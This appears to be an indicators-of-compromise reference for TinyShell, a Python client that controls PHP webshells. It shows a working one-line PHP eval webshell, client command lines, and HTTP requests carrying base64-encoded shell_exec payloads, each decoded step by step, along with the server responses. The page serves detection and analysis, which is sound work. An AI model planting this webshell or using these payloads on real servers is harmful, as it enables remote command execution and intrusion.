TinyShell IOCs¶
TinyShell is a python command shell used to control and excute commands through HTTP requests to a webshell. TinyShell acts as the interface to the remote webshells. TinyShell is based on it's companion project SubShell (https://github.com/minisllc/subshell) and the China Chopper Webshell (https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html)
The following are some of the indicators generated by TinyShell.
Post Mode¶
TinyShell operating in the Base64 HTTP Post Mode using PHP. Commands are sent via a HTTP POST request.
Shell¶
1 | <?php @eval(base64_decode($_POST['token']));?> |
Note
The "password" is set to token. This can be changed to any value. It is referenced as "--password=" by the TinyShell client.
Client Command¶
1 | python tinyshell.py --url http://10.203.63.80/upload/uploads/tinyshell.php --password=token --mode=base64_post --language=PHP |
HTTP Request Sent by Client¶
1 2 3 4 5 6 7 8 9 10 | POST /upload/uploads/tinyshell.php HTTP/1.1 Host: 10.203.63.80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Content-Length: 216 Content-Type: application/x-www-form-urlencoded token=ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdaR2x5SUdNNlhIaGhiWEJ3WEdoMFpHOWpjMXh3YjNKMFlXeGZORGhjZFhCc2IyRmtYSFZ3Ykc5aFpITT0nKSAuICIgMj4mMSIpKSAuICIgOlRPS0VOX0NTUkYiKTs%3D |
HTTP Response¶
1 2 3 4 5 6 7 8 9 10 | HTTP/1.1 200 OK Date: Wed, 13 Dec 2017 20:45:25 GMT Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28 X-Powered-By: PHP/5.5.28 Content-Length: 504 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html CSRF_TOKEN: IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDRFNjEtM0YzMQoKIERpcmVjdG9yeSBvZiBjOlx4YW1wcFxodGRvY3NccG9ydGFsXzQ4XHVwbG9hZFx1cGxvYWRzCgoxMi8xMy8yMDE3ICAwODo0MyBQTSAgICA8RElSPiAgICAgICAgICAuCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgIDxESVI+ICAgICAgICAgIC4uCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgICAgICAgICAgICAgIDQ2IHRpbnlzaGVsbC5waHAKICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICAgICAgICAgIDQ2IGJ5dGVzCiAgICAgICAgICAgICAgIDIgRGlyKHMpICAxOSwwMDksNDQ5LDk4NCBieXRlcyBmcmVlCg== :TOKEN_CSRF |
Note
This is a standalone copy of TinyShell. If this was added to an existing file, the response would contain the HTML of the source page.
The terms "CSRF_TOKEN:" and ":TOKEN_CSRF" are headers and footers that wrap the encoded response. These values are adjustable.
Decoding the Payload¶
Base64 Payload
ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdaR2x5SUdNNlhIaGhiWEJ3WEdoMFpHOWpjMXh3YjNKMFlXeGZORGhjZFhCc2IyRmtYSFZ3Ykc5aFpITT0nKSAuICIgMj4mMSIpKSAuICIgOlRPS0VOX0NTUkYiKTs=
Decode Step 1
echo("CSRF_TOKEN: " . base64_encode(shell_exec(base64_decode('ZGlyIGM6XHhhbXBwXGh0ZG9jc1xwb3J0YWxfNDhcdXBsb2FkXHVwbG9hZHM=') . " 2>&1")) . " :TOKEN_CSRF");
Decode Step 2
1 | dir c:\xampp\htdocs\portal_48\upload\uploads |
Note
This is the command set to the TinyShell web shell.
Decoding the Response¶
Encoded Response
IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDRFNjEtM0YzMQoKIERpcmVjdG9yeSBvZiBjOlx4YW1wcFxodGRvY3NccG9ydGFsXzQ4XHVwbG9hZFx1cGxvYWRzCgoxMi8xMy8yMDE3ICAwODo0MyBQTSAgICA8RElSPiAgICAgICAgICAuCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgIDxESVI+ICAgICAgICAgIC4uCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgICAgICAgICAgICAgIDQ2IHRpbnlzaGVsbC5waHAKICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICAgICAgICAgIDQ2IGJ5dGVzCiAgICAgICAgICAgICAgIDIgRGlyKHMpICAxOSwwMDksNDQ5LDk4NCBieXRlcyBmcmVlCg==
Decoded Response
Note
This is the response rendered in the TinyShell console.
Header Mode¶
TinyShell operating in the Base64 HTTP Header Mode using PHP. Commands are sent via a HTTP HEADE.
Shell¶
Note
The "password" is set to "PSESSION". This can be changed to any value. It is referenced as "--password=" by the TinyShell client.
Client Command¶
1 | python tinyshell.py --url=http://10.203.63.80/upload/uploads/tinyshell.php--language=php --password=psession --mode=base64_header |
HTTP Request Sent by Client¶
1 2 3 4 5 6 7 8 | POST /upload/uploads/tinyshell.php HTTP/1.1 Host: 10.203.63.80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) psession: ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdZMlE9JykgLiAiIDI+JjEiKSkgLiAiIDpUT0tFTl9DU1JGIik7 Content-Length: 0 |
HTTP Response¶
1 2 3 4 5 6 7 8 9 10 | HTTP/1.1 200 OK Date: Thu, 14 Dec 2017 02:46:56 GMT Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28 X-Powered-By: PHP/5.5.28 Content-Length: 80 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html CSRF_TOKEN: QzpceGFtcHBcaHRkb2NzXHBvcnRhbF80OFx1cGxvYWRcdXBsb2Fkcwo= :TOKEN_CSRFPOST /upload/uploads/tinyshell.php |
Decoding the Payload¶
Base64 Payload
ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdZMlE9JykgLiAiIDI+JjEiKSkgLiAiIDpUT0tFTl9DU1JGIik7
Decode Step 1
echo("CSRF_TOKEN: " . base64_encode(shell_exec(base64_decode('Y2Q=') . " 2>&1")) . " :TOKEN_CSRF");
Decode Step 2
cd
Decoding the Response¶
Encoded Response
QzpceGFtcHBcaHRkb2NzXHBvcnRhbF80OFx1cGxvYWRcdXBsb2Fkcwo=
Decoded Response
C:\xampp\htdocs\portal_48\upload\uploads
Note
This is the response rendered in the TinyShell console.